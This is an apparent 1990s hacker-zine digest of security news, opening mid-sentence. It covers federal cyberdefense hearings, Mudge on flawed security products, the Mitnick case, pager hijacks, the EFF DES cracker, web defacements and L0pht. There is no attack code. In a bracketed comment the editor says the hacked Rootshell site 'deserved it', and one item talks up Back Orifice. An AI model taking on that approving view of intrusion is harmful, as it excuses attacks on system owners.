France, where a number of center-affiliated researchers live. 

0xe>-------------------------------------------------------------------------

Title: Cyberattacks leave feds chasing 'vapor'
By: Bob Brewin (antenna@fcw.com)

Top administration officials last week warned that the United States lacks
the capability to quickly identify the nature and scope of a continuing
series of cyberattacks against both federal and private systems that
support the country's telecommunications, financial and energy critical
infrastructures.

During a series of congressional hearings and in speeches last week,
federal security and information technology officials made it clear that
they anticipate a powerful ''Achilles' heel'' cyberattack that could
cripple the nation's vital systems because the government lacks the
ability to defend against such an attack.

John Hamre, deputy secretary of Defense, told the House National Security
Committee that such a paralyzing cyberattack against critical
infrastructures is inevitable. "There will be an electronic attack
sometime in our future," he said. "Should an attack come, it will likely
not be aimed at just military targets but at civilian [targets] as well." 
Administration officials also reported that the attacks continue unabated.

Art Money, who is slated to take over as assistant secretary of Defense
for command, control, communications and intelligence later this year,
said in a speech at a conference in Washington, D.C., last week that DOD
"averages 60 intrusions a week" into its computer systems.  An official of
the FBI's new National Infrastructure Protection Center (NIPC) said the
office is investigating a "half dozen" incidents, describing them as
''substantial.''

But security agencies said the process of chasing down and identifying
attackers is frustrating, as in the case of the highly publicized series
of hacks against DOD computers last February. The FBI and numerous DOD
agencies worked together to track down the hackers, but the agencies could
not "identify [until] the following week"  the source and type of attack,
Ellie Padgett, deputy chief of the National Security Agency, told the
Senate Judiciary Committee's Subcommittee on Technology, Terrorism and
Government Information.

Padgett said it would still take the agency a "matter of days" to
determine if an attack was strategic or just a teenage prank.

Michael Vatis, director of NIPC, told the committee, "In most
cyberattacks, it's impossible to know the identity of the penetrator," be
it teenage hackers, criminals or a strategic attack by a hostile nation. 
Vatis, in an interview, likened chasing down hackers to "tracking vapor."

Barry Collin, a senior researcher with the Institute for Security and
Intelligence, said it will become increasingly difficult to identify
strategic attacks because a nation that is sophisticated enough to mount a
cyberwar against the United States also will have the sophistication to
disguise that effort as a hacker attack mounted by teenagers. "They can
make it appear as if it is a game instead of a real attack," he said.

A "Predatory Phase" 

Also frustrating security experts is the possibility that attacks will be
carried out in quick hits over a long period of time, Hamre said. "The
predatory phase could take place over several years, making it hard to
collate curious, seemingly unrelated events into a coherent picture," he
said. These long-term attacks "could take place over multiple
jurisdictions - [for example] power grids or air traffic control nodes in
various states. Our knowledge of the origin of such attacks and their
sponsorship is likely to be imprecise." 

Hamre also presented classified testimony to a joint closed hearing of the
House National Security Committee's Military Procurement and the Military
Research and Development subcommittees. Hamre may have presented more
detailed evidence of computer vulnerabilities, based on remarks by Rep. 
Curt Weldon (R.-Pa.), chairman of the Military Research and Development
Subcommittee, who called Hamre's classified testimony "the most
provocative briefing" he had ever received during his 12 years in
Congress.

The Clinton administration hopes to protect the critical infrastructures
with recently formed security organizations, including the National
Infrastructure Assurance Plan, the NSA Network Incident Analysis Cell and
the Critical Infrastructure Assurance Office in the Commerce Department. 
CIAO will spearhead multiple-agency efforts to develop better policies,
processes, procedures and systems to detect and deter attacks.

The administration also plans to heavily involve the private sector -
banks, power companies and railroad companies - in "public/private
partnerships'' to protect the infrastructure. 

Members of Congress on both sides of the Hill praised the administration's
initial efforts, but they also expressed some skepticism about the
approach. Sen. Diane Feinstein (D-Calif.) said she "wondered if the nexus
between the public and private sectors will work." 

Rep. Herbert Bateman (R-Va.) said he is "deeply skeptical"  about placing
the CIAO in Commerce rather than in DOD.

Bateman said Commerce's willingness to allow the exportation of critical
satellite and rocketry information to the Chinese left him "unconvinced" 
that Commerce had the same "sensitivity" as the Pentagon has to the
requirements of national security.

0xf>-------------------------------------------------------------------------

Title: Congress Attacks Cyber Defense Funds
Source: Defense News
Date: 6/16/98

U.S. Congress Attacks Cyber Defense Funds By George I. Seffers Defense
News Staff Writer WASHINGTON-- Congress is taking millions of dollars from
the war chest intended to protect critical U.S. infrastructure from
potentially crippling cyber attacks, according to Defense Department and
White House sources. The House Appropriations Committee deleted the entire
$69.9 million the Defense Department had requested for infrastructure
protection in its 1999 budget. That funding should be restored, Linton
Wells, principal deputy for the assistant secretary of defense for
command, control, communications and intelligence, told lawmakers at a
June 11 hearing here on protecting national infrastructures--
telecommunications, banking and finance, energy, transportation, and
essential government services-- from cyber attack. 

[So they make all these new groups to fight cybercrime.. then
 this?]

0x10>------------------------------------------------------------------------

Title: Mudge on Security Vendors
From: Bugtraq

In the SAFER bulletin they mention compromising software that was
explicitly installed as an additional security measure.

While joking around I was mentioning to some colleagues about the
attrocity of some (most) of the security related products out there right
now. Not in what they are claiming to accomplish but in the lack of sound
coding in their own products. I thought it was pretty much understood but
the amazed looks on their faces told me otherwise. So I figured I might
point this out in case that was not an isolated assumption that these
people had. Hopefuly I'm already preaching to the choir on Bugtraq.

[Note - though I explicitly mention ISS and Axent they are by no means any
worse or better than others not mentioned here... in addition I am
referring to older versions of their products. I have not spent time
looking at their most current releases to verify whether things have
improved or gotten worse. Please take this for what it is meant to be - a
general rant about the security vendor world as it stands... not an attack
against particular vendors]

A few real world cases: 

A few revs back in ISS' commercial security scanner there were several
vulnerabilities. One particular company contracted me to come in and give
them a report on the level of competance that an auditing company they had
hired were at.

Sure enough, when the auditor scanned the box that we had setup they were
using ISS (version 3? my memory isn't serving me very well right now).
Upon an attempt to connect to tcp/79 (fingerd) we fed them back a bunch of
'garbage' (well, you know... that garbage that is comprised of a long run
of NOPs followed by machine dependent opcodes and operands :). After a few
tries, root on the scanning machine was handed out as there were no checks
done on the data that was being retrieved (or more accurately assumptions
were being made about the length).

...

Axent swore up and down that their ESM systems were communicating via DES
encrypted channels. In reality the communications were simply XOR'd and
they would send the progressive XOR key every X packets. The DES
components were slated for the 'next rev'. Doesn't matter - the point is
that they shouldn't have done the XOR scheme to begin with when the
purpose of the communications between the client and server are "lists" of
vulnerabilities on said machines. Not something you want advertised to
anyone passivle monitoring.

...

I don't know how many "security" packages I've looked at that do
outrageously stupid things like chmod(777), popen(), or system() even! 
Even if the program is running non-priveledged and is designed to be on a
system that does not have multiple users it is a demonstration that the
people writing the code to protect your systems (often at outrageous price
tags!) seem incapable of demonstrating sane coding techniques themselves.

How is one supposed to get 'warm fuzzies' that one is having their systems
"protected" when the products doing the protecting show no security
competence. 

Vendors listen up!

.mudge

0x11>------------------------------------------------------------------------

Title: More delays for Mitnick trial
By: Kevin Poulsen
Date: November 25, 1998 3:33 PM PT
Source: ZDNet

Accusing government attorneys of stalling efforts to collect key documents
for his case, the defense attorney representing Kevin Mitnick, famed
criminal hacker, requested a continuance on Tuesday. According to Donald
Randolph's motion, the government missed a court-ordered deadline to
provide the defense with copies of prosecution witnesses statements.  The
statements were finally handed over on Tuesday, almost a month late. 

In addition, the prosecution is almost a week behind in handing over a
list of evidence to the defense. Some electronic evidence is being
withheld completely, claimed Randolph.

Prosecution delays

"Due to the government's significant delay in producing discovery as
ordered by this court, and due to its continuing failure to produce
certain discoverable evidence altogether, the defense cannot competently
complete its investigations and prepare for trial in this matter absent a
reasonable continuance in the trial date," stated the motion. 

The original trial was scheduled for Jan. 19, 1999. 

The prosecutors attacked any delay. "The contention that we have been late
with materials is disingenuous," says prosecutor David Schindler.  "We've
provided thousands of pages of discovery."

Government mole? 

The text of the motion also implied that the government had paid a
one-time Mitnick cohort and employee of Mitnick's previous attorney, Ron
Austin, to spy on his client.

"Austin was privy to confidential communications between Mr. Mitnick and
Mr. Sherman which he later disclosed to the government," said the
statement.

0x12>------------------------------------------------------------------------

Title: 'Back door' doesn't get very far 
Source: San Jose Mercury News

A U.S. government panel has failed in a two-year effort to design a
federal computer security system that includes ''back doors,'' a feature
that would enable snooping by law enforcement agencies, people familiar
with the effort said this week. The failure casts further doubt on the
Clinton administration policy -- required for government agencies and
strongly encouraged for the private sector -- of including such back doors
in computer encryption technology used to protect computer data and
communications, according to outside experts. 

But administration officials said the panel, which is set to expire in
July, simply needed more time. The 22-member panel appointed by the
secretary of commerce in 1996 concluded at a meeting last week that it
could not overcome the technical hurdles involved in creating a
large-scale infrastructure that would meet the needs of law enforcers,
panel members said. The group was tapped to write a formal government plan
known as a ''Federal Information Processing Standard,'' or FIPS, detailing
how government agencies should build systems including back doors.

0x13>------------------------------------------------------------------------

Title: ICSA Goon Pretends to be a Hacker        [my title]
Source: Forbes Digital Tool
By: Adam Penenberg

J3 spends his days trolling around the hacker underground, monitoring
hacker channels on Internet Relay Chat, checking out the latest on
"phreaking,"--cracking the phone system-- dialing up bulletin boards and
checking out web sites that offer password-cracking software and how-to
guides. 
 
For J3 this isn't just a hobby, it's a job. 
 
ICSA, a computer security firm, hired J3 (not his real name nor his online
"nick", since his success depends on total anonymity) two years ago as the
company's lead underground analyst. His mission: to keep tabs on the
latest trends and tools in the hacker world. When he gets wind of a new
security hole, he passes the information on to ICSA's tech staff so that
the company can either develop a defense or tip off software makers before
the flaw can be exploited. 

J3 is very busy. Recently, a group of European hackers released a Trojan
horse-like program that would enable them to set up backdoors in geeky
programs known only to network administrators, such as "named" programs
related to domain name servers, a basic component of any network connected
to the larger Internet. J3 found out about it in the course of his
monitoring, passed it on to ICSA, and the company informed CERT (Computer
Emergency Response Team) which posted an advisory. 

The Internet is a lot like Lord of the Flies, a nasty, violent --yet
virtual--world where the strong intimidate the weak. 

He was also instrumental in helping ICSA detect two types of denial of
service attack modes--Teardrop and Land--that were being used to exploit
vulnerabilities in the TCP/IP protocol. These new attacks took advantage
of tweaks that would beat existing patches, which made it difficult for
system administrators to stay ahead of hackers. But J3, because of his
links to the underground, was able to learn of these exploits shortly
after they were posted on hacker channels. 

"I'm proud of a lot of the work we do," J3 says. "I've found a company's
entire password file posted to a web site, or that hackers have root in a
network or that a merchant site with a database of credit cards has been
compromised. I then contact the companies and warn them." 

He says that the Internet is a lot like Lord of the Flies, a nasty,
violent--yet virtual--world where the strong intimidate the weak. Not all
hackers are destructive, of course. There are many good ones on a quest
for pure information, the lifeblood of their avocation, who post security
flaws because they believe it's the best way to fix them.  It's the ones
who exploit these flaws to cause damage that irritate J3. 

But they have a vulnerability: their need for self-aggrandizement, which
is key to J3's success. "If hackers didn't brag," he says, "I wouldn't
have a job." 
 
J3, who works mostly nights since the Internet never sleeps, isn't just a
full-time worker. He's also a graduate student working on his Ph.D. in
psychology. And his area of study? 
 
Hackers, of course. 

0x14>------------------------------------------------------------------------

Title: Is Your kid a Hacker
Source: Family PC Magazine
Date: November 1998
By: Kevin Poulsen

If you suspect your kid is a computer hacker, here's some advice from a
convicted hacker on how to handle it

It starts with a knock on the door.  A dozen men in suits and shoulder
holsters are outside, their Buicks and Broncos crammed into your driveway
and parked along the street.  Over their shoulders you can see your
bathrobe-clad neighbors watching the spectacle from their lawns.  It might
be the FBI, it may be the Secret Service, but whoever it is, the humorless
agents hand you a piece of paper and head toward your son or daughter's
room.  You wonder, perhaps for the first time, what your kid has been
doing in there with the computer.

If you're a parent, you probably regard the Internet as a font of both
promise and peril for your children.  It can be an invaluable learning
tool and a way to encourage your kids to develop the basic computer skills
they'll eventually need.  But what if they take to it a little too eagerly
and enthusiastically and begin using it to get into places where they
don't belong?  In that case, normal youthful rebellion, or simple
inquisitiveness, if it's expressed over the Internet, could turn your
family upside down. 

It happened last February in Cloverdale, California, when surprised
parents found out their teenage son was suspected in a series of Pentagon
intrusions.  It happened again in Massachusetts a week later, when the
Justice Department won its first juvenile conviction under the Federal
Computer Fraud and Abuse Act.

It happened to my family 15 years ago, in one of the first hacker raids in
the country.  At that time, I was the teenage miscreant who was illegally
accessing federal computers.  Now, in my early thirties, I've begun to
wonder how I would protect a kid of my own from becoming a poster child
for computer crime.  I believe the best approach is to stay informed and
to communicate with your potential cyberpunks.

Open Communication Channels

Some of the things you might view as ominous warning signs are actually
quite harmless.  For example, if your teenager calls himself a "hacker," 
he may not be headed for trouble.  Despite the media's breathless
exhortation, hackers are not lawbreakers by definition.  The word actually
describes someone with a talent for technology, a deep interest in how
things work, and a tendency to reject any limitations.  If your son
disassembled the Giga Pet you gave him for Christmas, he's probably a
hacker.  If he made it run better, he definitely is.  Of course, some
hackers go further and test their skills against the adult world of
corporate and governmental computer systems.

If I thought my kids were cracking computers, I would want to put a stop
to it -- though not because it's the crime of the century. True hackers
live by an ethical code that precludes damaging systems or profiting from
their intrusions.  There are worse values for a teenager to have.  But
regardless of motives, a hacker who's caught in the act today is likely to
be treated as an industrial spy or a national security threat.  A single
moment of rebellious exploration could land a teenager an early felony
conviction.

If you suspect that your kid may be crossing the line, there are various
software packages on the market that will allow you to monitor or control
his or her access to the Internet.  Don't even think about using one.  If
your teen really is a hacker, your technological solution will be a source
of amusement and derision, as well as an insult to his talents. Instead of
putting up barriers, I suggest you talk to your kids.

If your kid is reading underground Web sites for hackers, read them
yourself.  If he has a subscription to a hacker magazine, go through it
and ask questions.  Feel free to marvel at the cleverness of the latest
hacker technique.  Then talk about consequences: the rising costs of legal
representation, the problems that a convicted felon encounters in academia
and the job market.  Start looking at alternatives to a life of
cybercrime. 

Constructive Alternatives

If your kid has a rebellious streak, I suggest giving up on trying to
suppress it; try to channel it instead.  When hackers grow up, they often
find a reasonable substitute for the thrill of intrusion by working the
other side.  Ask your teen how he would plug the latest security holes. 
Get him thinking about it.  Ask him for advice on protecting your own
e-mail or your ISP account. 

The hacker tradition has always contained an element of disrespect for
authority. Up until 15 years ago, cracking systems was an acceptable rite
of passage in the industry, and some of the same people who pioneered
artificial intelligence and the personal computer also ushered in phone
phreaking, lock hacking, and computer intrusion. Early hackers believed
that computers were a public resource and that access to them and
knowledge about them should be free.

In a sense, the first-generation hackers won their battle when they
created the personal computer: It gave them free access to computing power
anytime they wanted.  Today, kids can claim that victory on the Internet
by authoring a Web page.  There is plenty of room for innovation and
creativity.

Today's PCs are as powerful as yesterday's mainframes.  With today's PCs,
no one needs to break the law to explore technology. With the right tools,
and parental support, kids can earn the respect of their peers and get an
early start on their future by mastering the latest programming languages. 
If my kid were a hacker, I'd encourage him to shun the instant
gratification of cracking a Fortune 500 company in favor of the greater
satisfaction of creating something unique from scratch.

Ultimately, that's what hacking really is all about. 

0x15>------------------------------------------------------------------------

Title: Paging Network Hijacked              
By: Chris Oakes
Date: 4:00am  24.Jul.98.PDT

[A non internet hacking article! Woohoo!]

Someone in Texas exploited a vulnerability in the PageMart paging network
this week, sending a flurry of mysterious pages to tiny screens
nationwide, confusing subscribers, and swamping the company's customer
service center with phone calls.

PageMart said a random discovery enabled the intruder to use a set of
pager addressing numbers to send messages to entire groups of customers,
rather than individual subscribers. But a security expert said the system
may have been hacked.
                                     
PageMart spokeswoman Bridget Cavanaugh detailed Wednesday's incident in an
email late Thursday.  "A person, unknown to PageMart," she said,
"discovered that three PINs [personal identification numbers] on our
paging terminal in Dallas were actually mail drops." 

[snip...]

On Wednesday, PageMart customer and San Francisco resident Jeremiah Kelly
reported that he received odd messages for a period of about an hour and a
half on Wednesday afternoon.

Upon receiving one incomprehensible page -- unrecognizable in source or
content -- he suspected a simple "wrong-number" message. "But then, all of
a sudden, I got a blitz"  Kelly said. Most notable was a recurring
message: "There is only one blu bula."

"I received one of those several times," he said. Another pair of messages
said "Mike, you're Mom drives a Passat," and another was sexually
suggestive. Both of the latter pages were signed "Christian." Kelly said
he received about 30 of the senseless messages.

[snip...]

"The incident impacted about 1.5 percent of our customers nationwide," 
Cavanaugh said.  "Statistically, it's a small number." PageMart provides
numeric and text paging service in all 50 states, Canada, Mexico, Central
America, and the Caribbean, serving approximately 2.7 million customers.

"It's a perfect example of how overconfidence can eventually cause a
problem," said Peter Shipley, who analyzes and bolsters system security
for accounting firm KPMG Peat Marwick.

Though it wasn't clear that PageMart's system was actually broken into,
Shipley said poor protection against break-ins is all too common. "I'm in
the business of doing these type of security audits, and a large number of
systems I've seen have easy password access -- under the assumption of
'why would somebody want to hack it?'"

In fact, paging services are responsible for enormously valuable data,
from billing addresses to credit card information and more, Shipley said. 
Then there are the messages themselves, which can be easily netted as they
make their way through the airwaves.

"Smaller companies believe they are not targets [for hackers],"  concluded
KPMG's Shipley. "But small companies are as equally targeted as large
companies. They're stepping stones -- the small fish that hackers start
on."

0x16>------------------------------------------------------------------------

Title: FBI busts hacker who sold clandestine accounts on PageNet system
Date: July 30, 1998 7:28 p.m. EDT
Source: Nando Times

PageNet Inc., one of the largest wireless message providers, said U.S.
federal agents arrested a San Diego man Thursday who allegedly set up
unauthorized voice mailboxes and paging accounts on its system, costing
the company about $1 million.

[snip...]

0x17>------------------------------------------------------------------------

Title: EFF DES Cracker Machine Brings Honesty to Crypto Debate
Date: July 17, 1998

"EFF DES CRACKER" MACHINE BRINGS HONESTY TO CRYPTO DEBATE
ELECTRONIC FRONTIER FOUNDATION PROVES THAT DES IS NOT SECURE

SAN FRANCISCO, CA -- The Electronic Frontier Foundation (EFF) today raised
the level of honesty in crypto politics by revealing that the Data
Encryption Standard (DES) is insecure.  The U.S. government has long
pressed industry to limit encryption to DES (and even weaker forms),
without revealing how easy it is to crack.  Continued adherence to this
policy would put critical infrastructures at risk; society should choose a
different course.

To prove the insecurity of DES, EFF built the first unclassified hardware
for cracking messages encoded with it.  On Wednesday of this week the EFF
DES Cracker, which was built for less than $250,000, easily won RSA
Laboratory's "DES Challenge II" contest and a $10,000 cash prize.  It took
the machine less than 3 days to complete the challenge, shattering the
previous record of 39 days set by a massive network of tens of thousands
of computers.  The research results are fully documented in a book
published this week by EFF and O'Reilly and Associates, entitled "Cracking
DES: Secrets of Encryption Research, Wiretap Politics, and Chip Design."

[snip...]

0x18>------------------------------------------------------------------------

Title: Hacking site gets hacked
By: Paul Festa
Source: CNET News.com
Date: October 28, 1998, 11:30 a.m. PT

Hacking and security news and information site Rootshell.com was the
subject of its own coverage today after suffering an early morning hack.

The hack, preserved here, occurred this morning at 5:12 a.m. PT, according
to Rootshell.  Administrators took the site down after discovering the
attack at 6 a.m. PT. The site was restored two hours later.

"Steps have been taken to prevent re-entry, and full details are now being
turned over to law enforcement for what we hope will turn into arrests," 
Rootshell administrator Kit Knox said this morning in a statement.

[Hrm. Lets give out scripts that help every clueless script kiddie
 break into thousands of sites worldwide.. then narc off the one
 that breaks into us. Time to face the music. That's like the pot
 calling the kettle black. Name your cliche', they deserved it.]

Knox later said that the matter had been turned over to the FBI. 

The attacker replaced the Rootshell.com front page with a rambling screed
peppered with profanity as well as references to groups and luminaries in
the hacking world, including imprisoned hacker and perennial cause Kevin
Mitnick.

The attacker also threatened to hit another hacking news site, AntiOnline. 

0x19>------------------------------------------------------------------------

Title: From Criminals to Web Crawlers
By: Kristen Philipkoski 
Date: 4:00am  15.Jul.98.PDT

A crime-fighting search engine used to fight terrorism and insurance scams
may soon find a home at one of the Web's top search engines. The system,
called VCLAS, has helped detectives crack cases all over the world. 

"In 11 days, the PhoneFraud software helped law-enforcement agencies in
New York uncover US$1.2 billion in stolen services," said Jay Valentine,
president and CEO of InfoGlide, the company that owns the VCLAS software
package.

The software is built around a "Similarity Search Engine," which thrives
on imperfect and complex information, data that engineer David Wheeler
said often stumps search algorithms based on neural networks. 

Similarity searching is well-suited to crime work, Wheeler said, because
investigations are often inherently random and disconnected. For instance,
if police are looking for a red vehicle, but a witness says it was maroon,
a traditional keyword search wouldn't register a match since it couldn't
recognize that the colors are similar. 

0x1a>------------------------------------------------------------------------

Title: Running a Microsoft OS on a Network? Our Condolences 
Date: July 21, 1998

[The title alone made this worth including.]

The CULT OF THE DEAD COW (cDc) will release Back Orifice, a remote MS
Windows Administration tool at Defcon VI in Las Vegas (www.defcon.org) on
August 1. Programmed by Sir Dystic [cDc], Back Orifice is a
self-contained, self-installing utility which allows the user to control
and monitor computers running the Windows operating system over a network. 

Sir Dystic sounded like an overworked sysadmin when he said, "The two main
legitimate purposes for BO are, remote tech support aid and employee
monitoring and administering [of a Windows network]." 

Back Orifice is going to be made available to anyone who takes the time to
download it. So what does that mean for anyone who's bought into
Microsoft's Swiss cheese approach to security? Plenty according to Mike
Bloom, Chief Technical Officer for Gomi Media in Toronto. 

[snip...]

None of this is lost on Microsoft. But then again, they don't care. 
Security is way down on their list of priorities according to security
expert Russ Cooper of NT BUGTRAQ (www.ntbugtraq.com). "Microsoft doesn't
care about security because I don't believe they think it affects their
profit. And honestly, it probably doesn't." Nice. But regardless of which
side of the firewall you sit on, you can't afford not to have a copy of
Back Orifice. Here are the specs: 

[snip...]

After August 3, Back Orifice will be available from www.cultdeadcow.com
free of charge. 

0x1b>------------------------------------------------------------------------

Title: Security expert explains New York Times site break in
Date: September 18, 1998
By: Ellen Messmer 

Although the New York Times is not revealing the details of what happened
last weekend when it was hijacked by a hacker group, one security expert
has it figured out.

A group of hackers calling themselves Hackers for Girlies broke into the
Times news site on Sunday. The hackers took control of the site to display
their own diatribe complete with nude images and to protest the arrest of
hacker Kevin Mitnick. The Times worked for half a day to regain command of
its server.

Hackers often break in by exploiting security vulnerabilities associated
with default Common Gateway Interface scripts that ship with Web servers,
according to Patrick Taylor, director of strategic marketing at Internet
Security Systems in Atlanta. They exploit these scripts to send a string
of long commands to cause a buffer overflow that lets them into the
operating system. They first give themselves an account in the system and
then stick in a backdoor Trojan horse program such as "rootkit" to gain
and maintain root control, he said.

"CGI scripts are intended to pass commands from the Web server to
something in the operating system, perhaps to pull database information," 
Taylor said. "But you should get rid of these superfluous CGI scripts and
depend on your own custom scripts."

The Times may have had a long struggle regaining control of its Web site
because the latest Trojan horses are designed so well that they hide
within the operating system, encrypted or even providing the same checksum
as the legitimate operating system.

"It's nefarious--the hacker essentially has remote administration of the
Web server," Taylor said. "You can't rely on a backup of the machine.  You
may have to reinstall the entire operating system."

By coincidence, the Times had once looked at using the ISS security gear,
but decided not to, he said. The Times declined to discuss any aspect of
its Web operations, saying it was "a matter of security."

[The real reason for this article and quoting a PR person from
 ISS maybe? Fact is, ISS didn't audit the network before OR
 after the breakin. How would this guy know the method they used
 to compromise the machine?]

The "Hackers for Girlies" ranted in its own posting to have "busted root" 
on the Times, and directed some invective toward Times reporter John
Markoff and security expert Tsutomu Shimomura for their respective roles
in the investigation of hacker Kevin Mitnick, now held in jail.  Markoff
and Shimomura two years ago collaborated on a book entitled "Takedown" 
about the law enforcement pursuit of Mitnick. In its own account, the
Times said the hacker incident at nytimes.com may be related to an
upcoming trial in January of Mitnick.

While hacker rantings and pornography can be bad enough to discover on a
Web site, a far more serious scenario involves a hijacker more
surreptitiously posting information that has been slightly changed,
leading the reader to view it as authentic.

"This could end up like 'War of the Worlds,' where people went into a
panic because they didn't know what they were hearing on the radio was
made up," commented Doug Barney, Network World news editor.

0x1c>------------------------------------------------------------------------

Title: Merriam-Webster Taken Offline Old Fashioned Way
Date: Wed Aug  5 00:41:57 MDT 1998
Source: www.m-w.com

What happened?

On Thursday night, July 30th, the facility that hosts Merriam-Webster's
Web site was burglarized and its servers were stolen. We've managed to
restore limited capacity, but we need to obtain new hardware from our
suppliers before we can return to full service. We hope to have the entire
site active again in a few days. We apologize for the inconvenience and
hope you will bear with us as we deal with the situation. 

Thank you for your patience.

--The Merriam-Webster Web Team

[Guess we shouldn't put the computer by the window...]

0x1d>------------------------------------------------------------------------

Title: Long Haired Hacker Works Magic           [my title]
Source: Nando Times
Date: September 20, 1998

The hacker calling himself Mudge pushed his long hair back, scratched his
beard and stared at the computer screen. He knew there was something wrong
with the data traffic he was watching, but what was it?
 
A week earlier, Mudge and his fellow hackers in their hangout known as the
L0pht -- pronounced "loft" -- had acquired some software that was supposed
to let computers talk to each other in code. But as Mudge watched the data
he realized someone else was doing the same and maybe even decoding it,
which shouldn't happen.
 
"So you are saying that you're using DES to communicate between the
computers?" Mudge recalled asking representatives of the software maker. 
Yes, they said, they were using DES, a standard encryption method that for
years was considered virtually uncrackable.

But this wasn't DES, thought Mudge. It's almost as if... 

Whoa. He blinked and felt the adrenaline kick in. This wasn't secure at
all. In fact, the encoding was only slightly more complex than the simple
ciphers kids did in grade school -- where "A" is set to 1, "B"  is set to
2, and so on.

The company was selling this software as a secure product, charging
customers up to $10,000. And yet, it had a security hole big enough to
waltz through.
 
Instead of exploiting this knowledge, Mudge confronted the company. 

"You realize there isn't any secure or 'strong' encoding being used in
your communications between the computers, don't you?" he asked.

"Well..." 

"And that you claimed you were using DES to encrypt the data," he pressed. 

"That will go in the next revision." 

Mudge is a "real" hacker -- one who used to snoop around the nation's
electronic infrastructure for the sheer love of knowing how it worked. His
kind today are sighted about as often as the timberwolf, and society has
attached to them the same level of legend.

Like the wolf, they were once considered a scourge. Law enforcement and
telecommunication companies investigated and arrested many of them during
the late 1980s and early '90s.

Today, many elite hackers of the past are making a go at legitimate work,
getting paid big bucks by Fortune 500 companies to explore computer
networks and find the weak spots. 

And none too soon. The void left by the old hackers has been filled by a
new, more destructive generation.

So today, Mudge -- who uses a pseudonym like others in the hacker
community, a world where anonymity keeps you out of trouble -- wears a
white hat. As part of L0pht, the hacker think tank, he and six comrades
hole up in a South End loft space in Boston and spend their evenings
peeling open software and computer networks to see how they work.

When they find vulnerabilities in supposedly secure systems, they publish
their findings on the Web in hopes of embarrassing the companies into
fixing the problems. A recent example: They posted notice via the Internet
of a problem that makes Lotus Notes vulnerable to malicious hackers...

A Lotus spokesman said the company was aware of the flaw but it was
extremely technical and unlikely to affect anyone.

The hackers at L0pht have made enemies among industry people, but they
command respect. They were even called to testify before the U.S.  Senate
Committee on Governmental Affairs in May. 

Why do they publish what they find? 

"If that information doesn't get out," Mudge replies, "then only the bad
guys will have it."
 
The "bad guys" are the hacker cliche: secretive teens lurking online,
stealing credit card numbers, breaking into Pentagon systems, and
generally causing trouble. One of L0pht's members, Kingpin, was just such
a cad when he was younger, extending his online shenanigans to real-world
breaking and entering. Today, L0pht keeps him out of mischief, he said.

"We're like midnight basketball for hackers," said Weld Pond, another
member.
 
****

Malicious hacking seems to be on the rise. 

Nearly two out of three companies reported unauthorized use of their
computer systems in the past year, according to a study by the Computer
Security Institute and the FBI. Another study, from Software AG Americas,
said 7 percent of companies reported a "very serious"  security breach,
and an additional 16 percent reported "worrisome"  breaches. However, 72
percent said the intrusions were relatively minor with no damage.

American companies spent almost $6.3 billion on computer security last
year, according to research firm DataQuest. The market is expected to grow
to $13 billion by 2000.

Government computers are vulnerable, too. The Defense Department suffered
almost 250,000 hacks in 1995, the General Accounting Office reported. Most
were detected only long after the attack. 

This is why business booms for good-guy hackers. 

Jeff Moss, a security expert with Secure Computing Inc., runs a
$995-a-ticket professional conference for network administrators, where
hackers-cum-consultants mingle with military brass and CEOs.

"I don't feel like a sellout," said Moss, who wouldn't elaborate on his
hacking background. "People used to do this because they were really into
it. Now you can be into it and be paid."

News reports show why such services are needed: 

----Earlier this month, hackers struck the Web site of The New York Times,
forcing the company to shutter it for hours. Spokeswoman Nancy Nielsen
said the break-in was being treated as a crime, not a prank.  The FBI's
computer crime unit was investigating. 

----This spring, two California teenagers were arrested for trying to hack
the Pentagon's computers. Israeli teen Ehud Tenebaum, also known as "The
Analyzer," said he mentored the two on how to do it. The two Cloverdale,
Calif., youths pleaded guilty in late July and were placed on probation.

----Kevin Mitnick, the only hacker to make the FBI's 10 Most Wanted list,
was arrested in 1995, accused of stealing 20,000 credit card numbers. He
remains in prison. A film called "TakeDown," about the electronic
sleuthing that led to Mitnick's capture, is in the works.  Comments
protesting Mitnick's prosecution were left during the hack of the New York
Times Web site.

----In 1994, Vladimir Levin, a graduate of St. Petersburg Tekhnologichesky
University, allegedly masterminded a Russian hacker gang and stole $10
million from Citibank computers. A year later, he was arrested by Interpol
at Heathrow airport in London.

******

"Lemme tell ya," growled Mark Abene one night over Japanese steak skewers. 
"Kids these days, they got no respect for their elders."

Abene, known among fellow hackers as Phiber Optik, should know. He was one
of those no-account kids in the 1980s when he discovered telephones and
computers. For almost 10 years, he wandered freely through the nation's
telephone computer systems and, oh, the things he did and saw. 

Celebrities' credit reports were his for the taking. Unlimited free phone
calls from pilfered long-distance calling card numbers. Private phone
lines for his buddies, not listed anywhere. And the arcane knowledge of
trunk lines, switches, the entire glory of the network that connected New
York City to the rest of the world.

But Abene's ticket to ride was canceled in January 1994, when, at age 22,
he entered Pennsylvania's Schuylkill Prison to begin serving a
year-and-a-day sentence for computer trespassing. The FBI and the Secret
Service described him as a menace. The sentencing judge said Abene, as a
spokesman for the hacking community, would be made an example.

And yet, to many in the digital community, Abene's offenses amounted to
unbridled curiosity. He was just a kid poking around, doing what teen boys
do, going to places they're told to avoid.

"Phree Phiber Optik" pins appeared. Many felt Abene embodied the hacker
ethic espoused by his friend and fellow hacker, Paul Stira:  "Thou Shalt
Not Destroy."

With black hair parted in the middle and falling to the center of his
back, a thin beard ringing his mouth, the 26-year-old Abene still looks
like a mischievous kid. Hacking, he said, is hardwired in boys.  When they
play with toys when they're young, they break them, then try to figure out
how the parts fit back together.

He added, "For some of us, it just never goes away." 

******

Still, the hackers of the 1980s and early '90s have grown up. Some got
busted, others simply graduated from college and fell out of the scene.

Today, many want to be seen as mainstream, said Jeremy Rauch, a network
security expert for Secure Computing Inc. When it's time to talk
consulting contracts with major corporations, the hair gets neatly combed,
the suit replaces the combat boots and black T-shirt, and the
counterculture rhetoric gets toned down.

A hacker in San Francisco who edits the online publication Phrack and goes
by the pseudonym Route talks about his job at a security firm as a sign of
maturity. Contentedly, he notes he can work from home, write as much code
as he can and never punch a clock. 

"Are there still hackers out there?" asked Mike Godwin, counsel for the
Electronic Frontier Foundation, a cyber-rights group. In the early 1990s,
he pushed hard for the organization to champion Abene and other members of
the cyber gang Masters of Deception. By 1993, he said, hysteria
surrounding hackers began to sputter, to be replaced by a fear of
pornography.

"There never were very many hackers," he said, not major ones, anyway. 
Mainly, they were and are "this tiny minority of 13- to 18-year-olds who
learned how to make toll-calls for free."

Today's younger hackers pull programs off the Web that sniff for passwords
and unlock backdoors automatically. It's the equivalent of rattling every
door on a street and finally getting lucky, chancing upon one that's
unlocked. 

